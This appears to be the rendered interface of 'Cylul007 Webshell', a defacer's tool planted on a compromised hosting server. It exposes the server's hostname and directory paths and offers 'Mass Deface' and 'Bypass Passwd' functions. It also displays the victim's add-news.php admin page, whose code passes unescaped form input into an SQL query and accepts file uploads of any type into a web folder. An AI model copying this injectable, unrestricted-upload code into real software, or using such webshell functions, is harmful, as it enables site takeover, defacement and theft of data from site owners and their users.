Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 17:36:06
Current Directory :
/
home
/
amvm
/
public_html
/
cheemaem
/
myadmin
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/public_html/cheemaem/myadmin/add-news.php
<?php include('header.php');?> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Add News </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Add News</a></li> <li class="active">Add</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="callout callout-info"> <h4>Tip!</h4> <p>This page will use to add new news in the admin panel.</p> </div> <!-- Default box --> <?php if(isset($_POST['upload'])) { $title = $_POST['title']; $detail = $_POST['detail']; $ext = pathinfo ($_FILES['files']['name'], PATHINFO_EXTENSION); $image_name = date('h-i-s') .'_'. base64_encode($_FILES['files']['name']).'.'. $ext ; $target_dir = "photo/"; move_uploaded_file($_FILES['files']['tmp_name'],$target_dir .''. $image_name); $query = "INSERT INTO `news` (`id`, `title`, `detail`, `date_time`,`photo`) VALUES (NULL, '$title', '$detail', CURRENT_TIMESTAMP,'$image_name')"; $query_1 = mysqli_query($mysql_con,$query); if($query_1 > 0) { header('location: news.php'); } else{ echo "Something wrong, Please try again"; } } ?> <form method="Post" role="form" enctype="multipart/form-data" action=""> <div class="box-body"> <div class="form-group"> <label for="exampleInputEmail1">News Title</label> <input type="text" name="title" class="form-control" id="exampleInputEmail1" placeholder="Enter class"> </div> <div class="form-group"> <label for="exampleInputFile">Description</label> <textarea class="textarea" name="detail" placeholder="Place some text here" style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;"> </textarea> </div> <div class="form-group"> <label for="exampleInputFile">Choose Image</label> <input type="file" name="files" id="exampleInputFile"> </div> </div> <!-- /.box-body --> <div class="box-footer"> <button type="submit" name="upload" value="submit" class="btn btn-primary">Submit</button> </div> </form> <!-- /.box --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include("footer.php"); ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18